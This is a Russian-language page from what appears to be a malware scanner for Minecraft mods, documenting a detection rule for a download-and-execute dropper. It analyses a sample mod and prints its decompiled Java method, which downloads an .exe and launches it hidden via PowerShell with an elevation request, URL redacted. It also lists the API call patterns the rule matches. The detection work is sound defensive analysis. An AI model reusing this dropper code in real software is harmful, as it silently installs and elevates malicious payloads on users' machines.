Remote Executable Dropper

Dropper_Download_Exec Вредоносное ПО (Malware) CRITICAL +10 очков

🎮 Влияние на механику Minecraft

Стандартные загрузчики подключают модификации, добавляя JAR-архивы в classpath. Код мода функционирует в рамках виртуальной машины JVM, взаимодействуя с клиентом через события, миксины и интерфейсы движка.

Dropper_Download_Exec выявляет цепочки инструкций, когда один и тот же метод скачивает внешний бинарный файл по сети, сохраняет его на локальный диск и сразу же запускает. В исследованном образце из com.magma4496.Creatormagma модификация выполняет метод fetchAndExec() в фоновом потоке. Метод отправляет сетевой запрос с помощью HttpClient.send(), записывая тело ответа напрямую в файл во временной директории через BodyHandlers.ofFile(dest). При получении HTTP-кода 200 метод вызывает dest.toFile().setExecutable(true) и запускает полученный файл через powershell с аргументами -NoProfile, -WindowStyle Hidden и командой Start-Process ... -Verb RunAs, запрашивая повышение привилегий в системе (UAC).

Примечательно, что проверка операционной системы в теле метода отсутствует. Из-за безусловного вызова powershell и файла .exe без проверки системного свойства os.name запуск срабатывает исключительно в среде Windows. На системах под управлением Linux или macOS, где интерпретатор PowerShell отсутствует или не может запустить исполняемый файл формата PE/Windows, запуск завершается ошибкой, которая подавляется пустым блоком catch.

🔍 Анализируемые функции и API

HttpClient.send / URL.openStream

Получение бинарного файла полезной нагрузки через сетевой HTTP/HTTPS поток.

HttpResponse$BodyHandlers.ofFile / Files.write

Сохранение входящих байтов ответа напрямую в файл локальной файловой системы.

ProcessBuilder.start / Runtime.exec

Запуск сохраненного файла в виде независимого процесса операционной системы.

⚙️ Декомпилированный вид (Vineflower)

private void fetchAndExec() {
   try {
      Path dest = Path.of(System.getProperty("java.io.tmpdir"), "<redacted_payload>.exe");
      HttpClient http = HttpClient.newBuilder().followRedirects(Redirect.ALWAYS).build();
      HttpRequest req = HttpRequest.newBuilder()
         .uri(URI.create("<redacted_url>"))
         .GET()
         .build();
      HttpResponse<Path> resp = http.send(req, BodyHandlers.ofFile(dest));
      if (resp.statusCode() == 200) {
         dest.toFile().setExecutable(true);
         new ProcessBuilder(
               "powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "Start-Process -FilePath '" + dest.toAbsolutePath() + "' -Verb RunAs"
            )
            .start();
      }
   } catch (Exception var5) {
   }
}

🛡️ Сигнатура байткода и статический детект

Детектор анализирует байткод методов внутри класса и требует одновременного присутствия всех трех групп вызовов в теле одного и того же метода:

  • Метод сетевого скачивания: java/net/URL.openStream, java/net/URI.toURL, java/net/URLConnection.openConnection, java/net/URLConnection.getInputStream, java/net/http/HttpClient.send или java/net/http/HttpClient.sendAsync.
  • Метод сохранения файла или определения класса: java/nio/file/Files.write, java/nio/file/Files.copy, java/io/FileOutputStream.<init>, java/lang/ClassLoader.defineClass, java/util/Base64.decode, java/net/http/HttpResponse$BodyHandlers.ofFile или java/net/http/HttpResponse$BodyHandlers.ofByteArray.
  • Метод порождения системного процесса: java/lang/ProcessBuilder.<init>, java/lang/Runtime.exec или java/lang/ProcessBuilder.start.

Правило подтверждает наличие всех трех операций внутри одного метода. Главное ограничение обусловлено границами метода: если скачивание, запись файла и запуск распределены по разным методам или классам через цепочки коллбэков, правило не зафиксирует связь без межпроцедурного анализа потока данных.